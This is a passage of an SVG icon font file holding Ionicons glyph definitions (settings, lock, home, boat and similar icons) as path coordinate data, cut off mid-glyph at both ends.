c0 8 6 14 14 14s14 -6 14 -14v-132c0 -8 -6 -14 -14 -14zM278 304c8 0 14 -6 14 -14v-196c0 -8 -6 -14 -14 -14s-14 6 -14 14v196c0 8 6 14 14 14zM138 304c8 0 14 -6 14 -14v-196c0 -8 -6 -14 -14 -14s-14 6 -14 14v196c0 8 6 14 14 14zM208 288c8 0 14 -6 14 -14v-164
c0 -8 -6 -14 -14 -14s-14 6 -14 14v164c0 8 6 14 14 14z" />
    <glyph glyph-name="ion-ios-shirt" unicode="&#xf213;" horiz-adv-x="413" 
d="M413 266l-62 -64c-2 -3 -7 -1 -7 3v45c0 5 -5 10 -11 9c-4 -1 -7 -5 -7 -9v-61v-181c0 -4 -4 -8 -8 -8h-222c-4 0 -8 4 -8 8v181v61c0 5 -5 10 -11 9c-4 -1 -7 -5 -7 -9v-45c0 -4 -5 -6 -7 -3l-62 64c-1 2 -1 4 0 6c12 12 61 63 89 83c20 15 41 29 63 29s22 -8 54 -8
s32 8 54 8s42 -14 62 -29c28 -20 77 -71 89 -83c1 -2 2 -4 1 -6zM207 305c30 0 54 13 54 36c0 30 -24 11 -54 11s-54 19 -54 -11c0 -23 24 -36 54 -36z" />
    <glyph glyph-name="ion-md-home" unicode="&#xf30c;" 
d="M160 0h-98v192h-62l208 192l208 -192h-62v-192h-98v128h-96v-128z" />
    <glyph glyph-name="ion-ios-cafe" unicode="&#xf13c;" 
d="M322 44c8 0 14 -7 14 -15s-7 -13 -15 -13h-259c-8 0 -14 7 -14 15s6 13 14 13h260zM351 330v0c39 -14 65 -49 65 -88c0 -25 -11 -49 -30 -67s-45 -27 -72 -27h-6v0c-16 -28 -36 -50 -58 -64c-19 -12 -38 -20 -44 -20h-60c-9 0 -46 12 -78 49c-18 21 -33 47 -44 79
c-14 38 -22 84 -24 136c0 11 4 22 12 30c7 7 17 10 27 10h274c10 0 19 -3 26 -10c8 -8 12 -17 12 -28zM322 176v0c37 3 66 32 66 66c0 13 -5 26 -13 37c-7 9 -16 16 -26 21v0c-4 -47 -13 -90 -27 -124z" />
    <glyph glyph-name="ion-md-navigate" unicode="&#xf334;" horiz-adv-x="320" 
d="M160 384l160 -369l-15 -15l-145 64l-145 -64l-15 15z" />
    <glyph glyph-name="ion-md-arrow-round-down" unicode="&#xf289;" horiz-adv-x="332" 
d="M9 163c-12 12 -12 31 0 43s34 12 46 0l79 -83v214c0 17 14 31 32 31s32 -14 32 -31v-214l79 83c12 12 34 12 46 0s12 -31 0 -43l-134 -138c-6 -6 -14 -9 -23 -9v0c-9 0 -17 3 -23 9z" />
    <glyph glyph-name="ion-md-color-fill" unicode="&#xf2d0;" horiz-adv-x="448" 
d="M104 370l30 30l257 -256l-54 -11l-153 -149l-184 178l142 141zM288 162l-102 103l-103 -103h205zM391 144c0 0 57 -61 57 -92s-26 -56 -57 -56s-56 25 -56 56s56 92 56 92z" />
    <glyph glyph-name="ion-ios-star-half" unicode="&#xf4b1;" horiz-adv-x="448" 
d="M431 256c9 0 17 -7 17 -16c0 -4 -2 -8 -5 -11l-3 -2l-120 -86l46 -135c2 -7 1 -14 -5 -18c-3 -2 -6 -4 -9 -4s-7 2 -10 4l-118 84l-118 -84c-3 -2 -7 -4 -10 -4s-6 2 -9 4c-6 4 -7 12 -5 18l46 135l-121 85c-5 4 -7 7 -7 11v3c0 9 7 16 16 16v0h148l45 133
c2 6 8 11 15 11s13 -5 15 -11l45 -133h147zM384 221c3 2 1 7 -3 7h-97v0c-12 0 -23 8 -27 19l-29 88v0c-1 2 -4 2 -4 0v-210c0 -12 6 -23 16 -30v0l78 -56c3 -2 7 1 6 5l-30 88c-4 12 0 25 10 32z" />
    <glyph glyph-name="ion-ios-person" unicode="&#xf47e;" horiz-adv-x="384" 
d="M384 10c1 -5 -3 -10 -8 -10h-368c-5 0 -9 5 -8 10c7 32 49 47 63 52c16 6 38 7 52 10c8 2 20 6 24 11s1 49 1 49s-7 12 -11 22s-8 38 -8 38s-8 0 -11 14c-3 16 -9 22 -8 34s7 11 7 11s-6 16 -7 51c-1 41 31 82 90 82c58 0 91 -41 90 -82c-1 -35 -7 -51 -7 -51s6 1 7 -11
s-5 -18 -8 -34c-3 -14 -11 -14 -11 -14s-4 -28 -8 -38s-12 -22 -12 -22s-2 -44 2 -49s16 -9 24 -11c14 -3 36 -4 52 -10c14 -5 56 -20 63 -52z" />
    <glyph glyph-name="ion-md-settings" unicode="&#xf377;" 
d="M366 171l47 -34c3 -3 4 -10 2 -14l-43 -71c-2 -4 -7 -7 -12 -5l-54 21c-12 -8 -23 -16 -36 -21l-8 -55c-1 -4 -6 -8 -11 -8h-85c-5 0 -10 3 -11 8l-8 55c-13 5 -25 13 -36 21l-54 -21c-4 -2 -10 1 -12 5l-43 71c-3 5 -2 11 2 14l45 34c0 7 -1 14 -1 21s1 14 1 21l-46 34
c-3 3 -4 10 -2 14l43 71c2 4 7 7 12 5l54 -21c12 8 23 16 36 21l8 55c1 4 6 8 11 8h85c5 0 10 -4 11 -8l7 -55c13 -5 25 -13 36 -21l53 21c4 2 11 -1 13 -5l43 -71c3 -5 2 -11 -2 -14l-45 -34c0 -7 1 -14 1 -21s0 -15 -1 -21zM207 119c41 0 75 32 75 73s-34 73 -75 73
s-74 -32 -74 -73s33 -73 74 -73z" />
    <glyph glyph-name="ion-ios-lock" unicode="&#xf1b0;" horiz-adv-x="320" 
d="M280 256c22 0 40 -18 40 -40v-192c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v192c0 22 18 40 40 40h24v48c0 53 44 97 97 96s95 -44 95 -97v-47h24zM174 131c11 5 18 16 18 29c0 18 -15 33 -34 32c-16 -1 -29 -13 -30 -29c-1 -14 6 -26 18 -32v-69
c0 -8 7 -14 15 -14s13 6 13 14v69zM228 256v48c0 18 -7 35 -20 48s-30 20 -48 20s-35 -7 -48 -20s-20 -30 -20 -48v-48h136z" />
    <glyph glyph-name="ion-ios-egg" unicode="&#xf175;" horiz-adv-x="320" 
d="M160 416v0c64 0 160 -133 160 -257s-64 -191 -160 -191s-160 67 -160 191s96 257 160 257z" />
    <glyph glyph-name="ion-ios-repeat" unicode="&#xf1fe;" horiz-adv-x="384" 
d="M273 290c4 -4 6 -9 6 -15s-2 -11 -6 -15l-36 -36c-3 -3 -6 -4 -10 -4s-7 1 -10 4s-4 7 -4 11c0 3 2 7 4 9l16 16h-155c-13 0 -25 -5 -35 -15s-15 -22 -15 -35v-16c0 -8 -6 -14 -14 -14v0c-8 0 -14 6 -14 14v16c0 21 8 40 23 55s34 23 55 23h157l-16 16c-2 2 -4 6 -4 9
c0 5 2 10 7 13c1 1 2 2 3 2c5 1 10 0 14 -4zM370 204c8 0 14 -6 14 -14v-16c0 -43 -35 -78 -78 -78h-157l16 -16c2 -2 4 -6 4 -9c0 -5 -2 -10 -7 -13c-1 -1 -2 -1 -3 -1c-5 -1 -10 -1 -14 3l-34 34c-4 4 -6 9 -6 15s2 12 6 16l36 35c3 3 6 4 10 4s7 -1 10 -4s4 -7 4 -11
c0 -3 -2 -7 -4 -9l-16 -16h155c13 0 25 5 35 15s15 22 15 35v16c0 8 6 14 14 14v0z" />
    <glyph glyph-name="ion-ios-color-palette" unicode="&#xf15b;" horiz-adv-x="384" 
d="M366 100c12 -11 14 -35 0 -48c-39 -34 -94 -52 -149 -52h-1c-55 0 -111 18 -153 55c-84 74 -84 195 0 269c45 40 102 60 158 60c48 0 94 -15 128 -45c46 -41 46 -108 0 -149l-30 -27c-14 -13 -14 -31 0 -44c7 -6 11 -8 23 -10c8 -1 17 -3 24 -9zM56 232
c0 -18 14 -32 32 -32s32 14 32 32s-14 32 -32 32s-32 -14 -32 -32zM96 106c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM160 267c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM232 48c26 0 48 22 48 48s-22 48 -48 48
s-48 -22 -48 -48s22 -48 48 -48zM256 256c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-ios-alert" unicode="&#xf104;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM225 290c0 10 -7 18 -17 18v0c-10 0 -17 -8 -17 -18l3 -115c0 -8 6 -15 14 -15v0c8 0 14 7 14 15zM208 94c11 0 19 8 19 18s-8 19 -19 19s-19 -9 -19 -19s8 -18 19 -18z" />
    <glyph glyph-name="ion-ios-bus" unicode="&#xf13a;" horiz-adv-x="320" 
d="M14 31c11 -12 24 -9 58 -9c0 -10 1 -22 -3 -22h-55c-4 0 -5 7 -6 29c0 3 4 4 6 2zM306 31c2 2 6 1 6 -2c-1 -22 -2 -29 -6 -29h-55s-3 12 -3 22c34 0 47 -3 58 9zM288 384c18 0 32 -14 32 -32v0v-276c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v276v0
c0 18 14 32 32 32h8h240h8zM66 72c12 1 21 10 22 22c1 15 -11 27 -26 26c-12 -1 -21 -10 -22 -22c-1 -15 11 -27 26 -26zM142 150c2 0 4 2 4 4v140c0 2 -2 4 -4 4h-98c-9 0 -16 -7 -16 -16v-116c0 -9 7 -16 16 -16h98zM258 72c12 1 21 10 22 22c1 15 -11 27 -26 26
c-12 -1 -21 -10 -22 -22c-1 -15 11 -27 26 -26zM292 166v116c0 9 -7 16 -16 16h-98c-2 0 -4 -2 -4 -4v-140c0 -2 2 -4 4 -4h98c9 0 16 7 16 16zM277 328c9 0 15 6 15 14s-6 14 -15 14h-234c-9 0 -15 -6 -15 -14s6 -14 15 -14h234z" />
    <glyph glyph-name="ion-md-beer" unicode="&#xf298;" horiz-adv-x="448" 
d="M384 308c47 0 64 -33 64 -68v-96c0 -35 -14 -68 -64 -68h-16v-33v-11c0 -35 -29 -64 -64 -64h-176c-35 0 -64 29 -64 64v173v2c-26 0 -48 22 -48 48v55c-10 11 -16 26 -16 42c0 35 29 64 64 64c18 0 34 -8 46 -20c10 12 26 20 43 20c14 0 27 -6 37 -14c12 9 26 14 42 14
c17 0 34 -6 46 -16c11 10 26 16 42 16c35 0 64 -29 64 -64c0 -15 -7 -29 -16 -38v-6h16zM320 256v49v15h-20c-3 -8 -7 -16 -13 -23c-13 -16 -33 -25 -55 -25c-26 0 -48 13 -61 33c-6 -2 -12 -3 -18 -3c-12 0 -23 4 -32 10c-2 1 -3 3 -5 4c-1 -2 -2 -3 -3 -5l-1 -1v-54h208z
M64 320c9 0 18 4 24 11c2 2 3 4 4 6c0 0 6 10 12 11s20 6 30 -5c4 -5 11 -9 19 -9c3 0 5 1 7 2c3 1 7 2 9 4v0c3 2 6 4 10 4c7 0 12 -4 14 -10c0 0 1 -1 1 -2c1 -3 1 -5 3 -8c7 -12 20 -20 35 -20c13 0 26 6 33 16c5 7 7 15 7 24s9 8 9 8h55c6 0 13 -3 15 -9c1 3 1 6 1 9
c0 18 -14 32 -32 32c-9 0 -17 -4 -23 -10c-2 -2 -6 -5 -16 -6h-8c-6 1 -11 3 -13 5c-7 7 -17 11 -28 11c-9 0 -18 -4 -25 -9c-2 -2 -4 -5 -6 -7c0 -1 -1 -1 -2 -2c-3 -3 -7 -5 -11 -5c-5 0 -8 3 -11 6c-1 2 -2 3 -3 5s-3 4 -5 6c-4 4 -10 6 -16 6c-10 0 -18 -9 -25 -16
c-7 -8 -27 -8 -34 0s-18 16 -30 16c-18 0 -32 -14 -32 -32c0 -2 1 -5 1 -7c2 -9 7 -17 15 -21v-63c0 -9 7 -16 16 -16v75zM400 144v96c0 18 -6 24 -24 24h-8v-144h8c18 0 24 6 24 24z" />
    <glyph glyph-name="ion-md-snow" unicode="&#xf37e;" horiz-adv-x="412" 
d="M411 150l-57 -16l58 -33l-24 -42l-57 33l16 -57l-31 -8l-24 88l-62 36v-71l64 -64l-22 -23l-42 42v-67h-48v66l-42 -42l-22 22l64 65v71l-61 -35l-23 -88l-31 8l15 57l-58 -33l-24 41l57 33l-57 15l8 31l88 -23l63 36l-63 36l-88 -24l-8 31l57 15l-57 33l24 42l58 -34
l-15 57l31 9l23 -88l61 -35v71l-64 65l22 22l42 -42v66h48v-67l42 42l22 -23l-64 -64v-71l62 36l24 88l31 -9l-16 -57l57 33l24 -42l-58 -33l57 -15l-8 -31l-88 24l-60 -35l60 -35l88 23z" />
    <glyph glyph-name="ion-md-download" unicode="&#xf2e3;" horiz-adv-x="320" 
d="M320 248l-160 -158l-160 158h91v136h138v-136h91zM0 45h320v-45h-320v45z" />
    <glyph glyph-name="ion-md-star-outline" unicode="&#xf383;" horiz-adv-x="404" 
d="M404 238l-110 -96l33 -142l-125 75l-125 -75l33 142l-110 96l145 12l57 134l57 -134zM219 103l60 -36l-16 68l-5 19l15 12l53 46l-70 6l-19 2l-8 18l-27 64l-27 -64l-8 -18l-19 -2l-70 -6l53 -46l15 -12l-5 -19l-16 -68l60 36l17 10z" />
    <glyph glyph-name="ion-ios-microphone" unicode="&#xf1c6;" horiz-adv-x="288" 
d="M203 244c-7 0 -12 -5 -12 -12s5 -12 12 -12h73c7 0 12 -5 12 -12s-5 -12 -12 -12h-73c-7 0 -12 -5 -12 -12s5 -12 12 -12h77c4 0 8 -4 8 -8c0 -14 -3 -27 -8 -39c-1 -3 -4 -5 -7 -5h-258c-3 0 -6 2 -7 5c-5 12 -8 25 -8 39c0 4 4 8 8 8h77c7 0 12 5 12 12s-5 12 -12 12
h-73c-7 0 -12 5 -12 12s5 12 12 12h73c7 0 12 5 12 12s-5 12 -12 12h-73c-7 0 -12 5 -12 12s5 12 12 12h73c7 0 12 5 12 12s-5 12 -12 12h-77c-4 0 -8 4 -8 8c2 47 31 88 73 106c5 2 11 -1 11 -7v-36c0 -7 5 -12 12 -12s12 5 12 12v41c0 7 5 12 12 12v0c7 0 12 -5 12 -12
v-57c0 -7 5 -12 12 -12s12 5 12 12v57c0 7 5 12 12 12v0c7 0 12 -5 12 -12v-41c0 -7 5 -12 12 -12s12 5 12 12v36c0 6 6 9 11 7c42 -18 71 -58 73 -106c0 -4 -4 -8 -8 -8h-77c-7 0 -12 -5 -12 -12s5 -12 12 -12h73c7 0 12 -5 12 -12s-5 -12 -12 -12h-73zM30 89c-2 3 0 7 3 7
h222c3 0 6 -4 4 -7c-19 -22 -46 -36 -76 -40c-4 0 -7 -4 -7 -8v-41c0 -18 -14 -32 -32 -32v0c-18 0 -32 14 -32 32v41c0 4 -3 8 -7 8c-30 4 -56 18 -75 40z" />
    <glyph glyph-name="ion-md-git-network" unicode="&#xf2fe;" horiz-adv-x="384" 
d="M384 352c0 -24 -13 -44 -32 -55v-93l-128 -64v-53c19 -11 32 -31 32 -55c0 -35 -29 -64 -64 -64s-64 29 -64 64c0 24 13 44 32 55v53l-128 64v93c-19 11 -32 31 -32 55c0 35 29 64 64 64s64 -29 64 -64c0 -24 -13 -44 -32 -55v-53l96 -48l96 48v53c-19 11 -32 31 -32 55
c0 35 29 64 64 64s64 -29 64 -64zM64 392c-22 0 -40 -18 -40 -40s18 -40 40 -40s40 18 40 40s-18 40 -40 40zM192 -8c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40zM320 312c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40s18 -40 40 -40z" />
    <glyph glyph-name="ion-md-code-working" unicode="&#xf2cd;" horiz-adv-x="448" 
d="M158 94l-30 -30l-128 128l128 128l30 -30l-98 -98zM290 94l98 98l-98 98l30 30l128 -128l-128 -128zM124 172v40h40v-40h-40zM324 212v-40h-40v40h40zM204 172v40h40v-40h-40z" />
    <glyph glyph-name="ion-md-phone-portrait" unicode="&#xf347;" horiz-adv-x="288" 
d="M247 416c23 0 41 -19 41 -41v-366c0 -22 -18 -41 -41 -41h-206c-23 0 -41 19 -41 41v366c0 22 18 41 41 41h206zM252 48v288h-216v-288h216z" />
    <glyph glyph-name="ion-ios-videocam" unicode="&#xf4cd;" horiz-adv-x="448" 
d="M419 294h20c5 0 9 -3 9 -8v-188c0 -5 -4 -9 -9 -9h-20c-3 0 -7 1 -10 3l-86 55c-2 2 -4 4 -4 7v76c0 3 2 5 4 7l86 55c3 2 7 2 10 2zM242 64h-190c-28 0 -52 23 -52 51v154c0 28 23 51 51 51h190c28 0 52 -23 52 -51v-153c0 -28 -23 -52 -51 -52z" />
    <glyph glyph-name="ion-logo-no-smoking" unicode="&#xf109;" horiz-adv-x="448" 
d="M328 144v48h16v-48h-16zM80 144v48h82l48 -48h-130zM332 388c69 -38 116 -112 116 -196c0 -124 -100 -224 -224 -224c-24 0 -47 4 -68 11c-2 1 -3 1 -5 2c-12 4 -24 9 -35 15h-1c-69 38 -115 112 -115 196c0 124 100 224 224 224c24 0 47 -4 68 -11c2 -1 3 -1 5 -2
c12 -4 24 -9 35 -15v0zM224 22c37 0 72 12 100 32l-238 238c-20 -28 -32 -63 -32 -100c0 -65 36 -121 90 -150c6 -3 13 -7 19 -9c2 -1 3 -1 5 -2c9 -3 19 -5 29 -7c9 -2 18 -2 27 -2zM362 93c20 28 32 62 32 99c0 66 -37 123 -91 151c-6 3 -12 6 -18 8c-2 1 -3 1 -5 2
c-9 3 -19 5 -29 7c-9 2 -18 2 -27 2c-37 0 -71 -12 -99 -32zM320 192v-34l-34 34h34zM352 144v48h16v-48h-16zM328 235c16 -7 16 -23 16 -30v-1h-16v1c0 8 -1 13 -7 16c-4 2 -13 4 -39 4h-3c-13 0 -24 0 -33 13c-5 8 -5 19 -2 29c-4 1 -8 1 -12 3c-17 7 -26 20 -26 38
c0 33 27 44 39 44v-16c-1 0 -23 -2 -23 -28c0 -11 5 -19 16 -23c9 -4 18 -3 18 -3c3 0 6 -2 7 -5s2 -6 0 -8c-5 -7 -7 -18 -4 -22c4 -6 7 -6 20 -6h3c24 0 37 -2 46 -6zM368 204v0h-16c0 28 -4 37 -7 42c-6 10 -14 14 -25 14h-30c-3 0 -5 2 -6 4s-1 6 0 8c0 0 8 18 6 32
c-1 8 -6 17 -27 17v16c24 0 40 -11 43 -30c2 -11 0 -23 -3 -31h17c16 0 30 -8 39 -22c6 -10 9 -24 9 -50z" />
    <glyph glyph-name="ion-md-add" unicode="&#xf273;" horiz-adv-x="320" 
d="M320 171h-139v-139h-42v139h-139v42h139v139h42v-139h139v-42z" />
    <glyph glyph-name="ion-md-arrow-dropup" unicode="&#xf286;" horiz-adv-x="256" 
d="M0 128l128 128l128 -128h-256z" />
    <glyph glyph-name="ion-ios-checkmark-circle" unicode="&#xf14a;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM314 250c2 2 2 3 0 5l-17 18c-1 1 -2 2 -3 2v0c-1 0 -2 -1 -3 -2l-122 -123l-44 45c-1 1 -2 1 -3 1s-2 0 -3 -1l-18 -18c-2 -2 -2 -4 0 -6l56 -56c4 -4 8 -5 12 -5c5 0 10 3 12 5v0
z" />
    <glyph glyph-name="ion-ios-link" unicode="&#xf22a;" 
d="M232 107c15 1 23 -17 13 -27l-66 -65c-20 -20 -46 -31 -74 -31s-54 11 -74 31s-31 46 -31 74s10 55 30 75l69 68c8 8 18 15 28 20c6 3 12 5 19 7c1 0 3 1 4 1c5 1 11 3 16 3h7c4 0 7 -1 11 -1h6c22 -4 42 -14 58 -30c12 -12 20 -25 24 -41c2 -8 -2 -17 -10 -19v0h-1
c-8 -2 -16 2 -19 10c-4 10 -9 19 -17 27c-12 12 -29 20 -47 21h-4h-11c-5 -1 -10 -2 -15 -4s-9 -4 -14 -7c-4 -3 -8 -6 -12 -10l-68 -68c-14 -14 -22 -32 -22 -52s8 -37 22 -51s31 -22 51 -22s38 8 52 22l64 64c3 2 6 5 10 5h1zM385 369c20 -20 31 -46 31 -74
s-10 -55 -30 -75l-69 -68c-8 -8 -18 -15 -28 -20c-6 -3 -12 -5 -19 -7c-6 -2 -14 -3 -20 -3c-3 0 -4 -1 -7 -1c-4 0 -7 1 -11 1c-24 2 -47 13 -64 30v0v0c-12 12 -20 24 -24 38c-3 9 3 18 12 20c8 2 16 -2 19 -10c4 -10 9 -18 16 -25c12 -12 29 -20 47 -21h4h11
c5 1 10 2 15 4s9 5 14 8c4 3 8 5 12 9l68 68c14 14 22 32 22 52s-8 37 -22 51s-31 22 -51 22s-37 -8 -51 -22l-64 -63c-3 -3 -8 -5 -13 -5c-14 1 -20 18 -10 28l64 63c20 20 46 31 74 31s54 -11 74 -31z" />
    <glyph glyph-name="ion-md-checkbox-outline" unicode="&#xf2b8;" horiz-adv-x="384" 
d="M105 233l66 -66l183 183l30 -30l-213 -213l-96 96zM341 43v170h43v-170c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v298c0 23 20 43 43 43h213v-43h-213v-298h298z" />
    <glyph glyph-name="ion-md-cloud-upload" unicode="&#xf2c8;" horiz-adv-x="480" 
d="M387 231c52 -3 93 -46 93 -99c0 -55 -45 -100 -100 -100h-260c-66 0 -120 54 -120 120c0 62 47 113 107 119c25 48 75 81 133 81c73 0 133 -52 147 -121zM272 172h68l-100 100l-100 -100h68v-76h64v76z" />
    <glyph glyph-name="ion-logo-instagram" unicode="&#xf23e;" horiz-adv-x="384" 
d="M272 352h-160c-21 0 -41 -9 -56 -24s-24 -35 -24 -56v-160c0 -21 9 -41 24 -56s35 -24 56 -24h160c21 0 41 9 56 24s24 35 24 56v160c0 21 -9 41 -24 56s-35 24 -56 24zM272 384v0c62 0 112 -50 112 -112v-160c0 -62 -50 -112 -112 -112h-160c-62 0 -112 50 -112 112v160
c0 62 50 112 112 112h160zM296 272c-13 0 -24 11 -24 24s11 24 24 24s24 -11 24 -24s-11 -24 -24 -24zM192 256c-35 0 -64 -29 -64 -64s29 -64 64 -64s64 29 64 64s-29 64 -64 64zM192 288v0c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96z" />
    <glyph glyph-name="ion-md-volume-high" unicode="&#xf123;" horiz-adv-x="384" 
d="M0 256h85l107 112v-352l-107 112h-85v128zM288 192c0 -38 -21 -73 -53 -88v177c32 -16 53 -51 53 -89zM235 384c85 -20 149 -99 149 -192s-64 -172 -149 -192v45c62 19 106 78 106 147s-44 128 -106 147v45z" />
    <glyph glyph-name="ion-md-help-buoy" unicode="&#xf309;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM269 44c19 8 37 20 52 35s27 33 35 52l-40 12c-6 -13 -14 -25 -24 -35s-22 -18 -35 -24zM147 340c-19 -8 -37 -20 -52 -35s-27 -33 -35 -52l40 -12c6 13 14 25 24 35s22 18 35 24z
M208 256c-35 0 -64 -29 -64 -64s29 -64 64 -64s64 29 64 64s-29 64 -64 64zM321 305c-15 15 -33 27 -52 35l-12 -40c13 -6 25 -14 35 -24s18 -22 24 -35l40 12c-8 19 -20 37 -35 52zM95 79c15 -15 33 -27 52 -35l12 40c-13 6 -25 14 -35 24s-18 22 -24 35l-40 -12
c8 -19 20 -37 35 -52z" />
    <glyph glyph-name="ion-md-restaurant" unicode="&#xf36c;" horiz-adv-x="415" 
d="M116 168l-91 89c-34 33 -34 86 0 119l153 -148zM264 206l-33 -31l150 -145l-30 -30l-150 146l-150 -146l-30 30s163 159 211 207c-15 32 -4 77 31 111c41 40 101 49 132 17c33 -31 24 -89 -17 -129c-34 -34 -80 -45 -114 -30z" />
    <glyph glyph-name="ion-md-body" unicode="&#xf29c;" horiz-adv-x="384" 
d="M192 400c22 0 40 -18 40 -40s-18 -40 -40 -40s-40 18 -40 40s18 40 40 40zM384 256h-128v-272h-43v144h-42v-144h-43v272h-128v43h384v-43z" />
    <glyph glyph-name="ion-md-crop" unicode="&#xf2dc;" 
d="M304 135v153h-153v38h153c21 0 38 -17 38 -38v-153h-38zM112 102h304v-38h-74v-80h-38v80h-192c-21 0 -38 17 -38 38v186h-74v38h74v74h38v-298z" />
    <glyph glyph-name="ion-md-chatbubbles" unicode="&#xf2b7;" 
d="M85 80h219v-7c0 -17 -13 -31 -30 -31h-216l-58 -58v274c0 17 13 30 30 30h10v-163c0 -20 25 -45 45 -45zM381 400c19 0 35 -16 35 -35v-314l-76 53h-238c-19 0 -35 16 -35 35v226c0 19 16 35 35 35h279z" />
    <glyph glyph-name="ion-logo-rss" unicode="&#xf248;" horiz-adv-x="384" 
d="M56 112c31 0 56 -25 56 -56s-25 -56 -56 -56s-56 25 -56 56s25 56 56 56zM0 256c140 0 256 -116 256 -256h-80c0 48 -14 94 -48 128s-80 48 -128 48v80zM0 384c212 0 384 -172 384 -384h-80c0 171 -133 304 -304 304v80z" />
    <glyph glyph-name="ion-md-outlet" unicode="&#xf33d;" horiz-adv-x="448" 
d="M338 416c61 0 110 -51 110 -113v-222c0 -62 -49 -113 -110 -113h-228c-61 0 -110 51 -110 113v222c0 62 49 113 110 113h228zM143 197v102c0 11 -9 21 -20 21h-23c-11 0 -19 -9 -20 -20v-2v-101v-1c0 -11 9 -20 20 -20h23c11 0 20 9 20 20v1zM265 50v31
c0 23 -18 42 -41 42s-41 -19 -41 -42v-29c0 -12 9 -20 20 -20h42c11 0 20 7 20 18zM368 197v102c0 11 -9 21 -20 21h-24c-11 0 -19 -9 -20 -20v-2v-101v-1c0 -11 9 -20 20 -20h24c11 0 20 9 20 20v1z" />
    <glyph glyph-name="ion-ios-information-circle-outline" unicode="&#xf19f;" 
d="M187 276c0 11 10 20 21 20s21 -9 21 -20s-10 -20 -21 -20s-21 9 -21 20zM189 240h38v-144h-38v144zM208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0
c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-md-flash-off" unicode="&#xf169;" horiz-adv-x="408" 
d="M408 12l-24 -24l-140 140l-72 -144v192h-64v88l-108 107l24 25zM300 240l-24 -48l-168 168v40h192l-64 -160h64z" />
    <glyph glyph-name="ion-md-videocam" unicode="&#xf39f;" horiz-adv-x="448" 
d="M352 228l96 98v-268l-96 98v-86c0 -13 -11 -24 -25 -24h-302c-14 0 -25 11 -25 24v244c0 13 11 24 25 24h302c14 0 25 -11 25 -24v-86z" />
    <glyph glyph-name="ion-ios-square-outline" unicode="&#xf15c;" horiz-adv-x="320" 
d="M292 352c15 0 28 -13 28 -28v-264c0 -15 -13 -28 -28 -28h-264c-15 0 -28 13 -28 28v264c0 15 13 28 28 28h264zM292 68v248c0 4 -4 8 -8 8h-248c-4 0 -8 -4 -8 -8v-248c0 -4 4 -8 8 -8h248c4 0 8 4 8 8z" />
    <glyph glyph-name="ion-ios-information-circle" unicode="&#xf1a0;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM227 96v144h-38v-144h38zM208 256c11 0 21 9 21 20s-10 20 -21 20s-21 -9 -21 -20s10 -20 21 -20z" />
    <glyph glyph-name="ion-ios-heart-dislike" unicode="&#xf13f;" horiz-adv-x="448" 
d="M392 21c6 -6 6 -14 0 -20c-2 -2 -5 -2 -7 -3c-5 -1 -9 -1 -13 3l-368 362c-6 6 -6 14 0 20s14 6 20 0zM32 279c0 10 1 20 4 30l270 -265c-36 -31 -66 -52 -66 -52s-101 72 -161 154c-32 43 -47 96 -47 133zM402 146c-16 -22 -33 -42 -52 -61l-282 277c20 18 47 30 76 30
v0v0h1c40 0 75 -21 95 -52c20 31 55 52 95 52h1v0v0c62 -1 112 -51 112 -113c0 -37 -14 -90 -46 -133z" />
    <glyph glyph-name="ion-md-search" unicode="&#xf375;" horiz-adv-x="384" 
d="M274 143l110 -110l-33 -33l-109 110v17l-7 6c-25 -21 -58 -34 -93 -34c-79 0 -142 63 -142 142s63 143 141 143c79 0 142 -64 142 -143c0 -36 -13 -68 -34 -93l7 -5h18zM142 143c55 0 99 43 99 98s-44 99 -99 99s-98 -44 -98 -99s43 -98 98 -98z" />
    <glyph glyph-name="ion-ios-download" unicode="&#xf420;" horiz-adv-x="320" 
d="M280 304c22 0 40 -18 40 -40v-240c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v240c0 22 18 40 40 40h107v-180l-48 47c-5 5 -13 5 -18 0s-5 -13 0 -18l70 -69v0c1 -1 2 -2 4 -3s3 -1 5 -1c3 0 7 2 9 4l70 69c5 5 5 13 0 18s-13 5 -18 0l-48 -47v180h107zM173 387
v-83h-26v83c0 7 6 13 13 13s13 -6 13 -13z" />
    <glyph glyph-name="ion-ios-boat" unicode="&#xf12a;" horiz-adv-x="400" 
d="M296 26c0 0 27 -24 63 -36c2 -1 1 -4 -1 -4c-23 2 -40 6 -62 12c-22 -10 -67 -14 -96 -14s-73 5 -96 14c-21 -6 -39 -9 -62 -12c-2 0 -3 3 -1 4c36 12 63 36 63 36c26 -9 66 -15 96 -15s70 6 96 15zM390 185c6 -3 10 -9 10 -16c0 -2 0 -5 -1 -7l-55 -136
c-28 0 -57 22 -57 22c-18 -9 -53 -17 -79 -19h-8h-8c-26 2 -61 10 -79 19c0 0 -29 -22 -57 -22l-55 136c-1 2 -1 5 -1 7c0 7 4 13 10 16v0l187 85c2 1 4 1 6 0l187 -85v0zM156 160c7 0 12 10 12 22s-5 22 -12 22s-12 -10 -12 -22s5 -22 12 -22zM244 160c7 0 12 10 12 22
